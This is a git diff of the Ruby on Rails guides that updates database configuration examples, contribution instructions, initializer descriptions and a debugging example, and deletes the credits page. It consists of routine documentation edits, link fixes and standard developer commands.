+ @env_name="development", @spec_name="primary",
+ @config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost"}
+ @url="postgresql://localhost/my_database">
+ ]
```
Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`.
@@ -800,8 +935,16 @@ development:
$ echo $DATABASE_URL
postgresql://localhost/my_database
-$ bin/rails runner 'puts ActiveRecord::Base.configurations'
-{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+$ rails runner 'puts ActiveRecord::Base.configurations'
+#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28>
+
+$ rails runner 'puts ActiveRecord::Base.configurations.inspect'
+#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
+ #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
+ @env_name="development", @spec_name="primary",
+ @config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost", "pool"=>5}
+ @url="postgresql://localhost/my_database">
+ ]
```
Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins.
@@ -816,8 +959,16 @@ development:
$ echo $DATABASE_URL
postgresql://localhost/my_database
-$ bin/rails runner 'puts ActiveRecord::Base.configurations'
-{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}}
+$ rails runner 'puts ActiveRecord::Base.configurations'
+#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28>
+
+$ rails runner 'puts ActiveRecord::Base.configurations.inspect'
+#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
+ #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
+ @env_name="development", @spec_name="primary",
+ @config={"adapter"=>"sqlite3", "database"=>"NOT_my_database"}
+ @url="sqlite3:NOT_my_database">
+ ]
```
Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name.
@@ -865,6 +1016,14 @@ development:
If your development database has a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate.
+Advisory Locks are enabled by default on MySQL and are used to make database migrations concurrent safe. You can disable advisory locks by setting `advisory_locks` to `false`:
+
+```yaml
+production:
+ adapter: mysql2
+ advisory_locks: false
+```
+
#### Configuring a PostgreSQL Database
If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases:
@@ -877,12 +1036,13 @@ development:
pool: 5
```
-Prepared Statements are enabled by default on PostgreSQL. You can disable prepared statements by setting `prepared_statements` to `false`:
+By default Active Record uses database features like prepared statements and advisory locks. You might need to disable those features if you're using an external connection pooler like PgBouncer:
```yaml
production:
adapter: postgresql
prepared_statements: false
+ advisory_locks: false
```
If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value:
@@ -938,7 +1098,7 @@ By default Rails ships with three environments: "development", "test", and "prod
Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
-That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc.
+That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console -e staging`, `Rails.env.staging?` works, etc.
### Deploy to a subdirectory (relative url root)
@@ -968,17 +1128,17 @@ Deploying your application using a reverse proxy has definite advantages over tr
Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers.
-One such application server you can use is [Unicorn](http://unicorn.bogomips.org/) to run behind a reverse proxy.
+One such application server you can use is [Unicorn](https://bogomips.org/unicorn/) to run behind a reverse proxy.
In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead.
-You can find more information in the [Unicorn readme](http://unicorn.bogomips.org/README.html) and understand the [philosophy](http://unicorn.bogomips.org/PHILOSOPHY.html) behind it.
+You can find more information in the [Unicorn readme](https://bogomips.org/unicorn/README.html) and understand the [philosophy](https://bogomips.org/unicorn/PHILOSOPHY.html) behind it.
Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include:
```
upstream application_server {
- server 0.0.0.0:8080
+ server 0.0.0.0:8080;
}
server {
@@ -1000,7 +1160,7 @@ server {
}
```
-Be sure to read the [NGINX documentation](http://nginx.org/en/docs/) for the most up-to-date information.
+Be sure to read the [NGINX documentation](https://nginx.org/en/docs/) for the most up-to-date information.
Rails Environment Settings
@@ -1022,7 +1182,7 @@ After loading the framework and any gems in your application, Rails turns to loa
NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
-TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, `01_critical.rb` will be loaded before `02_normal.rb`.
+TIP: While Rails supports numbering of initializer file names for load ordering purposes, a better technique is to place any code that need to load in a specific order within the same file. This reduces file name churn, makes dependencies more explicit, and can help surface new concepts within your application.
Initialization events
---------------------
@@ -1101,7 +1261,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `i18n.callbacks`: In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
-* `active_support.deprecation_behavior`: Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
+* `active_support.deprecation_behavior`: Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production, and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
* `active_support.initialize_time_zone`: Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
@@ -1160,23 +1320,23 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `add_routing_paths`: Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.
-* `add_locales`: Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files.
+* `add_locales`: Adds the files in `config/locales` (from the application, railties, and engines) to `I18n.load_path`, making available the translations in these files.
-* `add_view_paths`: Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application.
+* `add_view_paths`: Adds the directory `app/views` from the application, railties, and engines to the lookup path for view files for the application.
* `load_environment_config`: Loads the `config/environments` file for the current environment.
-* `prepend_helpers_path`: Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application.
+* `prepend_helpers_path`: Adds the directory `app/helpers` from the application, railties, and engines to the lookup path for helpers for the application.
-* `load_config_initializers`: Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
+* `load_config_initializers`: Loads all Ruby files from `config/initializers` in the application, railties, and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
* `engines_blank_point`: Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
-* `add_generator_templates`: Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
+* `add_generator_templates`: Finds templates for generators at `lib/templates` for the application, railties, and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
* `ensure_autoload_once_paths_as_subset`: Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.
-* `add_to_prepare_blocks`: The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production.
+* `add_to_prepare_blocks`: The block for every `config.to_prepare` call in the application, a railtie, or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production.
* `add_builtin_route`: If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.
@@ -1184,9 +1344,9 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `eager_load!`: If `config.eager_load` is `true`, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`.
-* `finisher_hook`: Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines.
+* `finisher_hook`: Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties, and engines.
-* `set_routes_reloader_hook`: Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`.
+* `set_routes_reloader_hook`: Configures Action Dispatch to reload the routes file using `ActiveSupport::Callbacks.to_run`.
* `disable_dependency_loading`: Disables the automatic dependency loading if the `config.eager_load` is set to `true`.
@@ -1276,13 +1436,13 @@ Search Engines Indexing
-----------------------
Sometimes, you may want to prevent some pages of your application to be visible
-on search sites like Google, Bing, Yahoo or Duck Duck Go. The robots that index
+on search sites like Google, Bing, Yahoo, or Duck Duck Go. The robots that index
these sites will first analyze the `http://your-site.com/robots.txt` file to
know which pages it is allowed to index.
Rails creates this file for you inside the `/public` folder. By default, it allows
search engines to index all pages of your application. If you want to block
-indexing on all pages of you application, use this:
+indexing on all pages of your application, use this:
```
User-agent: *
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
index fe5437ae5d..b5e40aa40f 100644
--- a/guides/source/contributing_to_ruby_on_rails.md
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Contributing to Ruby on Rails
=============================
@@ -13,9 +13,9 @@ After reading this guide, you will know:
* How to contribute to the Ruby on Rails documentation.
* How to contribute to the Ruby on Rails code.
-Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
+Ruby on Rails is not "someone else's framework." Over the years, thousands of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
-As mentioned in [Rails
+As mentioned in [Rails'
README](https://github.com/rails/rails/blob/master/README.md), everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails [code of conduct](http://rubyonrails.org/conduct/).
--------------------------------------------------------------------------------
@@ -23,7 +23,7 @@ README](https://github.com/rails/rails/blob/master/README.md), everyone interact
Reporting an Issue
------------------
-Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
+Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them, or to create pull requests.
NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide, you'll find out how to get edge Rails for testing.
@@ -37,7 +37,7 @@ Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, th
### Create an Executable Test Case
-Having a way to reproduce your issue will be very helpful for others to help confirm, investigate and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point:
+Having a way to reproduce your issue will be very helpful for others to help confirm, investigate, and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point:
* Template for Active Record (models, database) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb)
* Template for testing Active Record (migration) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_migrations_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_migrations_master.rb)
@@ -84,7 +84,9 @@ discussions new features require.
Helping to Resolve Existing Issues
----------------------------------
-As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [issues list](https://github.com/rails/rails/issues) in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
+As a next step beyond reporting issues, you can help the core team resolve existing ones by providing feedback about them. If you are new to Rails core development, that might be a great way to walk your first steps, you'll get familiar with the code base and the processes.
+
+If you check the [issues list](https://github.com/rails/rails/issues) in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
### Verifying Bug Reports
@@ -92,19 +94,19 @@ For starters, it helps just to verify bug reports. Can you reproduce the reporte
If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem.
-If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
+If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "[Contributing to the Rails Code](#contributing-to-the-rails-code)" section.
Anything you can do to make bug reports more succinct or easier to reproduce helps folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
### Testing Patches
-You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:
+You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. In order to apply someone's changes, you need to first create a dedicated branch:
```bash
$ git checkout -b testing_branch
```
-Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
+Then, you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
```bash
$ git remote add JohnSmith https://github.com/JohnSmith/rails.git
@@ -130,37 +132,27 @@ Contributing to the Rails Documentation
Ruby on Rails has two main sets of documentation: the guides, which help you
learn about Ruby on Rails, and the API, which serves as a reference.
-You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails.
-
-You can either open a pull request to [Rails](https://github.com/rails/rails) or
-ask the [Rails core team](http://rubyonrails.org/community/#core) for commit access on
-docrails if you contribute regularly.
-Please do not open pull requests in docrails, if you'd like to get feedback on your
-change, ask for it in [Rails](https://github.com/rails/rails) instead.
-
-Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
+You can help improve the Rails guides by making them more coherent, consistent, or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails.
-If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub.
+To do so, make changes to Rails guides source files (located [here](https://github.com/rails/rails/tree/master/guides/source) on GitHub). Then open a pull request to apply your
+changes to master branch.
When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html).
-NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
-
NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
-WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
-
Translating Rails Guides
------------------------
-We are happy to have people volunteer to translate the Rails guides into their own language.
-If you want to translate the Rails guides in your own language, follows these steps:
+We are happy to have people volunteer to translate the Rails guides. Just follow these steps:
-* Fork the project (rails/rails).
+* Fork https://github.com/rails/rails.
* Add a source folder for your own language, for example: *guides/source/it-IT* for Italian.
* Copy the contents of *guides/source* into your own language directory and translate them.
* Do NOT translate the HTML files, as they are automatically generated.
+Note that translations are not submitted to the Rails repository. As detailed above, your work happens in a fork. This is so because in practice documentation maintenance via patches is only sustainable in English.
+
To generate the guides in HTML format cd into the *guides* directory then run (eg. for it-IT):
```bash
@@ -175,11 +167,11 @@ NOTE: The instructions are for Rails > 4. The Redcarpet Gem doesn't work with JR
Translation efforts we know about (various versions):
* **Italian**: [https://github.com/rixlabs/docrails](https://github.com/rixlabs/docrails)
-* **Spanish**: [http://wiki.github.com/gramos/docrails](http://wiki.github.com/gramos/docrails)
-* **Polish**: [https://github.com/apohllo/docrails/tree/master](https://github.com/apohllo/docrails/tree/master)
+* **Spanish**: [https://github.com/gramos/docrails/wiki](https://github.com/gramos/docrails/wiki)
+* **Polish**: [https://github.com/apohllo/docrails](https://github.com/apohllo/docrails)
* **French** : [https://github.com/railsfrance/docrails](https://github.com/railsfrance/docrails)
* **Czech** : [https://github.com/rubyonrails-cz/docrails/tree/czech](https://github.com/rubyonrails-cz/docrails/tree/czech)
-* **Turkish** : [https://github.com/ujk/docrails/tree/master](https://github.com/ujk/docrails/tree/master)
+* **Turkish** : [https://github.com/ujk/docrails](https://github.com/ujk/docrails)
* **Korean** : [https://github.com/rorlakr/rails-guides](https://github.com/rorlakr/rails-guides)
* **Simplified Chinese** : [https://github.com/ruby-china/guides](https://github.com/ruby-china/guides)
* **Traditional Chinese** : [https://github.com/docrails-tw/guides](https://github.com/docrails-tw/guides)
@@ -195,7 +187,7 @@ To move on from submitting bugs to helping resolve existing issues or contributi
#### The Easy Way
-The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+The easiest and recommended way to get a development environment ready to hack is to use the [rails-dev-box](https://github.com/rails/rails-dev-box).
#### The Hard Way
@@ -247,7 +239,6 @@ Now get busy and add/edit code. You're on your branch now, so you can write what
* Include tests that fail without your code, and pass with it.
* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
-
TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationales behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)).
#### Follow the Coding Conventions
@@ -262,12 +253,24 @@ Rails follows a simple set of coding style conventions:
* Prefer class << self over self.method for class methods.
* Use `my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
* Use `a = b` and not `a=b`.
-* Use assert_not methods instead of refute.
+* Use assert\_not methods instead of refute.
* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks.
* Follow the conventions in the source you see used already.
The above are guidelines - please use your best judgment in using them.
+Additionally, we have [RuboCop](https://www.rubocop.org/) rules defined to codify some of our coding conventions. You can run RuboCop locally against the file that you have modified before submitting a pull request:
+
+```bash
+$ rubocop actionpack/lib/action_controller/metal/strong_parameters.rb
+Inspecting 1 file
+.
+
+1 file inspected, no offenses detected
+```
+
+For `rails-ujs` CoffeeScript and JavaScript files, you can run `npm run lint` in `actionview` folder.
+
### Benchmark Your Code
For changes that might have an impact on performance, please benchmark your
@@ -335,7 +338,7 @@ file.
#### Testing Active Record
-First, create the databases you'll need. You can find a list of the required
+First, create the databases you'll need. You can find a list of the required
table names, usernames, and passwords in `activerecord/test/config.example.yml`.
For MySQL and PostgreSQL, running the SQL statements `create database
@@ -382,17 +385,11 @@ You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` als
The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
-If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
-
-```bash
-$ RUBYOPT=-W0 bundle exec rake test
-```
-
### Updating the CHANGELOG
The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
-You should add an entry **to the top** of the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
+You should add an entry **to the top** of the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix, or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:
@@ -406,7 +403,7 @@ A CHANGELOG entry should summarize what was changed and should end with the auth
end
end
- You can continue after the code example and you can attach issue number. GH#1234
+ You can continue after the code example and you can attach issue number. Fixes #1234.
*Your Name*
```
@@ -418,16 +415,6 @@ examples or multiple paragraphs. Otherwise, it's best to make a new paragraph.
Some changes require the dependencies to be upgraded. In these cases make sure you run `bundle update` to get the right version of the dependency and commit the `Gemfile.lock` file within your changes.
-### Sanity Check
-
-You should not be the only person who looks at the code before you submit it.
-If you know someone else who uses Rails, try asking them if they'll check out
-your work. If you don't know anyone else using Rails, try hopping into the IRC
-room or posting about your idea to the rails-core mailing list. Doing this in
-private before you push a patch out publicly is the "smoke test" for a patch:
-if you can't convince one other developer of the beauty of your code, you’re
-unlikely to convince the core team either.
-
### Commit Your Changes
When you're happy with the code on your computer, you need to commit the changes to Git:
@@ -501,7 +488,7 @@ Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and pr
Add the new remote to your local repository on your local machine:
```bash
-$ git remote add mine https://github.com:<your user name>/rails.git
+$ git remote add mine https://github.com/<your user name>/rails.git
```
Push to your remote:
@@ -575,7 +562,7 @@ is the open source life.
If it's been over a week, and you haven't heard anything, you might want to try
and nudge things along. You can use the [rubyonrails-core mailing
-list](http://groups.google.com/group/rubyonrails-core/) for this. You can also
+list](https://groups.google.com/forum/#!forum/rubyonrails-core) for this. You can also
leave another comment on the pull request.
While you're waiting for feedback on your pull request, open up a few other
@@ -685,4 +672,4 @@ And then... think about your next contribution!
Rails Contributors
------------------
-All contributions, either via master or docrails, get credit in [Rails Contributors](http://contributors.rubyonrails.org).
+All contributions get credit in [Rails Contributors](http://contributors.rubyonrails.org).
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
deleted file mode 100644
index 5adbd12ac0..0000000000
--- a/guides/source/credits.html.erb
+++ /dev/null
@@ -1,80 +0,0 @@
-<% content_for :page_title do %>
-Ruby on Rails Guides: Credits
-<% end %>
-
-<% content_for :header_section do %>
-<h2>Credits</h2>
-
-<p>We'd like to thank the following people for their tireless contributions to this project.</p>
-
-<% end %>
-
-<h3 class="section">Rails Guides Reviewers</h3>
-
-<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %>
- Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He <a href="https://twitter.com/vijay_dev">tweets</a> a lot and also <a href="http://vijaydev.wordpress.com">blogs</a>.
-<% end %>
-
-<%= author('Xavier Noria', 'fxn', 'fxn.png') do %>
- Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as &quot;fxn&quot;.
-<% end %>
-
-<h3 class="section">Rails Guides Designers</h3>
-
-<%= author('Jason Zimdars', 'jz') do %>
- Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="https://twitter.com/jasonzimdars">Twitter</a>.
-<% end %>
-
-<h3 class="section">Rails Guides Authors</h3>
-
-<%= author('Ryan Bigg', 'radar', 'radar.png') do %>
- Ryan Bigg works as a Rails developer at <a href="http://marketplacer.com">Marketplacer</a> and has been working with Rails since 2006. He's the author of <a href="https://leanpub.com/multi-tenancy-rails">Multi Tenancy With Rails</a> and co-author of <a href="http://manning.com/bigg2">Rails 4 in Action</a>. He's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>.
-<% end %>
-
-<%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %>
-Oscar Del Ben is a software engineer at <a href="http://www.businessinsider.com/google-buys-wildfire-2012-8">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">GitHub account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>.
- <% end %>
-
-<%= author('Frederick Cheung', 'fcheung') do %>
- Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.
-<% end %>
-
-<%= author('Tore Darell', 'toretore') do %>
- Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. You can follow him on <a href="http://twitter.com/toretore">Twitter</a>.
-<% end %>
-
-<%= author('Jeff Dean', 'zilkey') do %>
- Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>.
-<% end %>
-
-<%= author('Mike Gunderloy', 'mgunderloy') do %>
- Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much.
-<% end %>
-
-<%= author('Mikel Lindsaar', 'raasdnil') do %>
- Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="https://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>.
-<% end %>
-
-<%= author('Cássio Marques', 'cmarques') do %>
- Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">/* CODIFICANDO */</a>, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
-<% end %>
-
-<%= author('James Miller', 'bensie') do %>
- James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as &quot;bensie&quot;.
-<% end %>
-
-<%= author('Pratik Naik', 'lifo') do %>
- Pratik Naik is a Ruby on Rails developer at <a href="https://basecamp.com/">Basecamp</a> and maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a>. He also has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
-<% end %>
-
-<%= author('Emilio Tagua', 'miloops') do %>
- Emilio Tagua &mdash;a.k.a. miloops&mdash; is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as &quot;miloops&quot;.
-<% end %>
-
-<%= author('Heiko Webers', 'hawe') do %>
- Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
-<% end %>
-
-<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %>
- Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>.
-<% end %>
diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md
index ba0cdbf3af..88d205e1ab 100644
--- a/guides/source/debugging_rails_applications.md
+++ b/guides/source/debugging_rails_applications.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Debugging Rails Applications
============================
@@ -147,7 +147,7 @@ TIP: The default Rails log level is `debug` in all environments.
### Sending Messages
-To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model, or mailer:
```ruby
logger.debug "Person attributes hash: #{@person.attributes.inspect}"
@@ -162,41 +162,41 @@ class ArticlesController < ApplicationController
# ...
def create
- @article = Article.new(params[:article])
+ @article = Article.new(article_params)
logger.debug "New article: #{@article.attributes.inspect}"
logger.debug "Article should be valid: #{@article.valid?}"
if @article.save
- flash[:notice] = 'Article was successfully created.'
logger.debug "The article was saved and now the user is going to be redirected..."
- redirect_to(@article)
+ redirect_to @article, notice: 'Article was successfully created.'
else
- render action: "new"
+ render :new
end
end
# ...
+
+ private
+ def article_params
+ params.require(:article).permit(:title, :body, :published)
+ end
end
```
